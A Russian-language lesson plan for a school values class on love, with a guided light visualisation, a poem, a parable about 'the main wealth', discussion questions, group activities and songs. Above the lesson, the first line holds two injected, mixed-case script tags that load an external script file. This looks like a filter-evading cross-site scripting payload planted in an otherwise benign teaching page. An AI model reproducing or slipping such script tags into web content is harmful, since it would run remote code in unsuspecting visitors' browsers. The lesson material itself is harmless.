<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Цель:

Расширить представления учащихся о понятии «Любовь», через ОЧЦ- Любовь.

Задачи:

1.      Раскрыть

значение понятия « дружба».

2.      Развивать

стремление оказывать помощь другим.

3.      Воспитывать

любовь ко всем.

Ресурсы

Спокойная мелодия для настроя;

притча «Главное богатство»; запись песни «Все начинается с любви».

Ход урока:

·        

Орг.момент. Позитивный настрой.  Свет.

Представьте, что солнечный свет

проникает в вашу голову и  опускается в

середину груди. В середине груди находится бутон цветка. И под лучами света

бутон медленно раскрывается, лепесток за лепестком. В вашем сердце  расцветает прекрасный цветок, свежий и

чистый, омывая каждую мысль, каждое чувство, эмоцию и желание.

Представьте, что свет начинает все

более и более распространяться по вашему телу. Он становится сильнее и ярче.

Мысленно опустите свет вниз по рукам. Ваши руки наполняются светом и

освещаются. Руки будут совершать только добрые, хорошие действия и будут

помогать всем. Свет опускается вниз по ногам. Ноги наполняются светом и

освещаются. Ноги будут вести вас только к хорошим местам для совершения

добрых дел. Они станут инструментами света и любви.

            Далее

свет поднимается к вашему рту, языку. Язык будет говорить только правду и

только хорошие, добрые слова. Направьте свет к ушам, уши будут слышать

хорошие слова, прекрасные звуки. Свет достигает глаз, глаза будут смотреть

только на хорошее и видеть во всем хорошее. Вся ваша голова наполнилась светом,

и в вашей голове только добрые, светлые мысли.

            .

Направить свет всем вашим родным, учителям, друзьям, знакомым. Пошлите свет и

тем, с кем у вас временное непонимание, конфликты. Пусть свет наполнит  их сердца. Пусть этот свет распространится

на весь мир: на всех людей на все живое, повсюду. Посылайте свет во все

уголки вселенной. Побудьте еще немного в этом состоянии Света, Любви и Покоя…

А теперь можно открыть глаза и

улыбнуться.

Послушайте стихотворение:

«Волшебный дар» А. Лопатина

 Волшебный дар нам дан один

С

рождения и до седин –

Искать

дыхание любви

И

наполнять им дни свои.

Когда

душа к любви стремится,

Любое

чудо совершится.

Огнем

любви душа полна – Как птица, воспарит она.

Ребята,

о чем говорится в этом стихотворении?

Тема нашего урока «Все начинается

с любви…..»

Какое

прекрасное слово «любовь», что же такое любовь, как вы считаете?

( Любовь

–это радость, забота, умение отдавать, понимать сердцем……)

А теперь

попробуем ответить на вопрос: любовь какая? ( светлая, счастливая, верная,

прекрасная, красивая, великая, могущественная..)

Молодцы!

Итак,

ребята, мы узнали, что любовь – большое теплое чувство. Она обнимает своими

ласковыми руками весь мир. Это самое главное чувство на Земле, во всей

Вселенной. Любовью создана вся жизнь.

Беседа:

- Как

проявляется любовь? ( например, материнская любовь, любовь к родным и

близким, любовь к Родине, друзьям, к природе……)

- Как

проявляется любовь человека к человеку в повседневной жизни?

- К

близким людям в семье?

- Как вы

проявляете свою любовь к другу, подруге?

3.Позитивное высказывание (цитата)

Любовь –

это бесценный дар. Ты можешь подарить любовь, и все же она у тебя

останется.   Л.Н. Толстой.

Вопросы для обсуждения:

1.      В чем смысл цитаты?

2.      Почему, сколько бы мы не дарили

свою любовь, она снова у нас останется?

3.      Как вы умеете дарить свою любовь

своим близким?

4.Рассказывание истории. (Подарок учителя)

Притча . Главное богатство.

Когда новый ученик вошёл в класс, мальчики окружили

его. Одет новый ученик был скромно, и кто-то насмешливо спросил:

-Твой отец бедняк? Новый ученик ничего не

ответил. Мальчики начали хвастаться. -У моего отца три дома. -Мой

отец разводит породистых лошадей. Один такой конь стоит целое состояние. Мой отец

владеет серебряным рудником. Новый ученик по-прежнему молчал. Тут в класс

вошёл учитель и сказал: -Не хвастайтесь, дети. Это некрасиво. -Учитель,

мы не хвастались, а просто рассказывали о ценностях, которые есть в наших

семьях. Только новичок молчал. Может, у него в семье нет ничего ценного?!

-У меня есть мама, и я очень люблю её. И ещё у меня

есть много друзей. Мне с ними интересно. Все засмеялись, а

новичок вдруг громко добавил: -Когда мама улыбается,

она словно солнце. И у меня на душе радостно. А когда я встречаюсь с

друзьями, то ничего на свете не боюсь. Все притихли, а учитель произнёс: -Любовь

в сердце - самое главное богатство человека. Мальчики задумались.

Вопросы для обсуждения:

1.      Почему учитель назвал любовь

главным богатством?

2.      Почему мальчики задумались?

3.      Чему учит эта притча?

4.      А что для вас является главным богатством

в жизни?

5.Творческая деятельность, групповая

работа.

Портрет

любви.

Мы много сказали слов о любви, а

теперь давайте вместе попробуем сделать ее портрет. ( учащиеся готовят

«портрет любви» при помощи ватмана, цветной бумаги, фломастеров и рассказывают,

что означает их творческая работа)

Ребята, любовь могут проявлять не

только люди, но и животные. Я предлагаю вашему вниманию презентацию о

животных.

- Что вы чувствовали, глядя на эти

кадры?

Вывод: все живое на планете

наделено умением любить.

Упражнение Фронтальная работа

«Закончи предложения»

Любить родных – это значит... (помогать, заботиться, выполнять свои

обязанности)

Любить свою школу – это значит..( соблюдать дисциплину, всегда готовить

домашнее задание, уважать учителей, соблюдать чистоту),

Любить свою Родину - это значит… (хорошо учиться, изучать родной край,

знать символы Республики Казахстан),

Любить природу – это значит.. (… изучать, не загрязнять, беречь, больше

садить цветов, наслаждаться красотой),

Любить друзей – это значит.. (… всегда приходить на помощь, поддерживать

друг друга, побольше общаться).

Звучит Песня «Все начинается с любви»

Создают «Портрет любви». Презентация работ

      6.Групповое пение.

От улыбки хмурый

день светлей.

От улыбки в небе радуга проснется!

Поделись улыбкою своей,

И она к тебе не раз еще вернется.

И тогда, наверняка,

вдруг запляшут облака,

И кузнечик запиликает на скрипке.

С голубого ручейка начинается река,

Ну а дружба начинается с улыбки.

С голубого ручейка начинается река,

Ну а дружба начинается с улыбки.

Поют песню «Улыбка»

7.Домашнее

задание.

Поместите в свое сердце любовь,

доброту и подарите своим близким.

8.Заключительная

минута тишины.

Ребята, закройте глаза и вспомните, о чем мы сегодня говорили. Любовь-

это главная ценность в жизни человека. Правильно распоряжаясь этим даром, мы

можем быть счастливыми. Любовь – это чувство, которое живет в сердце каждого

человека.

Я так люблю себя,

Что я могу любить тебя,

И ты начнешь любить себя

И сможешь полюбить меня.

Рефлексия: понравился ли вам урок? Что вы возьмете для себя из этого

урока? Что вы поняли?

( прикрепляют стикеры на дерево пожеланий)